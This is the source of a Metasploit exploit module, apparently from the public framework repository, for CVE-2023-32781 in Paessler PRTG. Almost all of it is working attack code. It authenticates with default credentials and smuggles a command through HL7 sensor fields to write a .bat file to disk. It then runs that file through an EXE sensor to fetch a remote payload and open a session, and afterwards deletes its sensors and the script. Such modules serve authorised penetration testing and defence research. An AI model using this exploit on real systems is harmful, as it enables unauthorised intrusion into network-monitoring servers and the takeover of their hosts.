rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb

Summary

Maintainability
C
1 day
Test Coverage
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Retry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PRTG CVE-2023-32781 Authenticated RCE',
        'Description' => %q{
          Authenticated RCE in Paessler PRTG
        },
        'License' => MSF_LICENSE,
        'Author' => ['Kevin Joensen <kevin[at]baldur.dk>'],
        'References' => [
          [ 'URL', 'https://baldur.dk/blog/prtg-rce.html'],
          [ 'CVE', '2023-32781']
        ],
        'DisclosureDate' => '2023-08-09',
        'Platform' => 'win',
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Targets' => [
          [
            'Windows_Fetch',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'win',
              'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
              'Type' => :win_fetch
            }
          ],
          [
            'Windows_CMDStager',
            {
              'Arch' => [ ARCH_X64, ARCH_X86 ],
              'Platform' => 'win',
              'Type' => :win_cmdstager,
              'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]
            }
          ]
        ],
        'DefaultTarget' => 0,

        'DefaultOptions' => {},
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new(
          'USERNAME',
          [ true, 'The username to authenticate with', 'prtgadmin' ]
        ),
        OptString.new(
          'PASSWORD',
          [ true, 'The password to authenticate with', 'prtgadmin' ]
        ),
        OptString.new(
          'TARGETURI',
          [ true, 'The URI for the PRTG web interface', '/' ]
        )
      ]
    )
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(datastore['URI'], '/index.htm')
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return CheckCode::Unknown
    ensure
      disconnect
    end

    if res && res.code == 200
      prtg_server_header = res.headers['Server']

      if (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')
        return CheckCode::Detected
      end
    end

    return CheckCode::Unknown
  end

  def exploit
    @sensors_to_delete = []

    connect
    case target['Type']
    when :win_cmdstager
      execute_cmdstager
    when :win_fetch
      execute_command(payload.encoded)
    end
  end

  def on_new_session(client)
    super
    @sensors_to_delete.each do |sensor_id|
      delete_sensor_by_id(sensor_id)
    end
    print_good('Session created')
  end

  def execute_command(cmd, _opts = {})
    print_status('Running PRTG RCE exploit')
    authenticate_prtg
    bat_file_name = write_bat_file_to_disk(cmd)
    run_bat_file_from_disk(bat_file_name)
    print_status('Exploit done')
    handler
  end

  def authenticate_prtg
    print_status('Authenticating against PRTG')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'public', 'checklogin.htm'),
      'keep_cookies' => true,
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })
    unless res
      fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
    end
    if res && res.code == 302 && res.get_cookies
      print_good('Successfully authenticated against PRTG')
    else
      fail_with(Failure::NoAccess, 'Failure to authenticate against PRTG')
    end
  end

  def get_csrf_token
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'welcome.htm'),
      'keep_cookies' => true
    })

    if res.nil? || res.body.nil?
      fail_with(Failure::NoAccess, 'Page with CSRF token not available')
    end

    regex = /csrf-token" content="([^"]+)"/
    token = res.body[regex, 1]

    print_status("Extracted csrf token: #{token}")
    token
  end

  def delete_sensor_by_id(sensor_id)
    print_status("Deleting sensor #{sensor_id}")
    csrf_token = get_csrf_token

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'deleteobject.htm'),
      'keep_cookies' => true,
      'headers' => {
        'anti-csrf-token' => csrf_token,
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {
        id: sensor_id,
        approve: 1
      }
    })

    if res.nil? || res.body.nil?
      fail_with(Failure::NoAccess, 'Sensor deletion failed')
    end
  end

  def get_created_sensor_id(sensor_name)
    print_status('Fetching created sensor id')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'controls', 'deviceoverview.htm'),
      'keep_cookies' => true,
      'vars_get' => {
        'id' => 40
      }
    })

    if res.nil? || res.body.nil?
      fail_with(Failure::NoAccess, 'Page with sensorid not available')
    end

    regex = /id=([0-9]+)">#{sensor_name}/
    sensor_id = res.body[regex, 1]

    print_status("Extracted sensor_id: #{sensor_id}")
    sensor_id
  end

  def run_sensor_with_id(sensor_id)
    csrf_token = get_csrf_token
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'scannow.htm'),
      'keep_cookies' => true,
      'headers' => {
        'anti-csrf-token' => csrf_token,
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {
        id: sensor_id
      }
    })

    if res && res.code == 200
      print_good('Sensor started running')
    else
      fail_with(Failure::NoAccess, 'Failure to run sensor')
    end
  end

  def write_bat_file_to_disk(cmd)
    # Uses the HL7Sensor for writing a .bat file to the disk
    cmd = cmd.gsub! '\\', '\\\\\\'
    print_status('Writing .bat to disk')

    csrf_token = get_csrf_token

    # Generate a random sensor name
    sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
    bat_file_name = "#{Rex::Text.rand_text_alphanumeric(8..10)}.bat"

    # Clean up the .bat file
    cmd = "#{cmd} & del %0"

    print_status("Generated sensor_name #{sensor_name}")
    print_status("Generated bat_file_name #{bat_file_name}")

    params = {
      'name_' => sensor_name,
      'parenttags_' => '',
      'tags_' => 'dicom hl7',
      'priority_' => '3',
      'port_' => '104',
      'timeout_' => '60',
      'override_' => '0',
      'sendapp_' => Rex::Text.rand_text_alphanumeric(4..5),
      'sendfac_' => Rex::Text.rand_text_alphanumeric(4..5),
      'recvapp_' => Rex::Text.rand_text_alphanumeric(4..5),
      'recvfac_' => "#{Rex::Text.rand_text_alphanumeric(4..5)}\" -debug=\"..\\Custom Sensors\\EXE\\#{bat_file_name}\" -recvapp=\"#{Rex::Text.rand_text_alphanumeric(4..5)}",
      'hl7file_' => "ADT_& #{cmd} & A08.hl7|ADT_A08.hl7||",
      'hl7filename' => '',
      'intervalgroup' => ['0', '1'],
      'interval_' => '60|60 seconds',
      'errorintervalsdown_' => '1',
      'inherittriggers' => '1',
      'id' => '40',
      'sensortype' => 'hl7',
      'tmpid' => '2',
      'anti-csrf-token' => csrf_token
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),
      'keep_cookies' => true,
      'vars_post' => params
    })

    unless res
      fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
    end

    if res && res.code == 302
      print_good('HL7 Sensor succesfully created')
    else
      fail_with(Failure::NoAccess, 'Failure to create HL7 sensor')
    end
    # Actually creating the sensor can take 1-2 seconds
    print_status('Checking for sensor creation')
    sensor_id = retry_until_truthy(timeout: 10) do
      get_created_sensor_id(sensor_name)
    end

    print_status('Requesting HL7 Sensor to initiate scan')

    run_sensor_with_id(sensor_id)
    @sensors_to_delete.push(sensor_id)

    print_good('.bat file written to disk')
    bat_file_name
  end

  def run_bat_file_from_disk(bat_file_name)
    print_status("Running the .bat file: #{bat_file_name}")
    csrf_token = get_csrf_token
    sensor_name = Rex::Text.rand_text_alphanumeric(8..10)

    params = {
      'name_' => sensor_name,
      'parenttags_' => '',
      'tags_' => 'exesensor',
      'priority_' => '3',
      'scriptplaceholdergroup' => '1',
      'scriptplaceholder1description_' => '',
      'scriptplaceholder1_' => '',
      'scriptplaceholder2description_' => '',
      'scriptplaceholder2_' => '',
      'scriptplaceholder3description_' => '',
      'scriptplaceholder3_' => '',
      'scriptplaceholder4description_' => '',
      'scriptplaceholder4_' => '',
      'scriptplaceholder5description_' => '',
      'scriptplaceholder5_' => '',
      'exefile_' => "#{bat_file_name}|#{bat_file_name}||",
      'exefilelabel' => '',
      'exeparams_' => '',
      'environment_' => '0',
      'usewindowsauthentication_' => '0',
      'mutexname_' => '',
      'timeout_' => '60',
      'valuetype_' => '0',
      'channel_' => 'Value',
      'unit_' => '#',
      'monitorchange_' => '0',
      'writeresult_' => '0',
      'intervalgroup' => '0',
      'interval_' => '43200|12 hours',
      'errorintervalsdown_' => '1',
      'inherittriggers' => '1',
      'id' => '40',
      'sensortype' => 'exe',
      'tmpid' => '6',
      'anti-csrf-token' => csrf_token
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),
      'keep_cookies' => true,
      'vars_post' => params
    })

    unless res
      fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
    end

    if res && res.code == 302
      print_status('EXE Script sensor created')
    else
      fail_with(Failure::NoAccess, 'Failure to create EXE Script sensor')
    end

    print_status('Checking for sensor creation')

    sensor_id = retry_until_truthy(timeout: 10) do
      get_created_sensor_id(sensor_name)
    end
    run_sensor_with_id(sensor_id)
    @sensors_to_delete.push(sensor_id)
    print_good('Exploit completed. Waiting for payload')
  end
end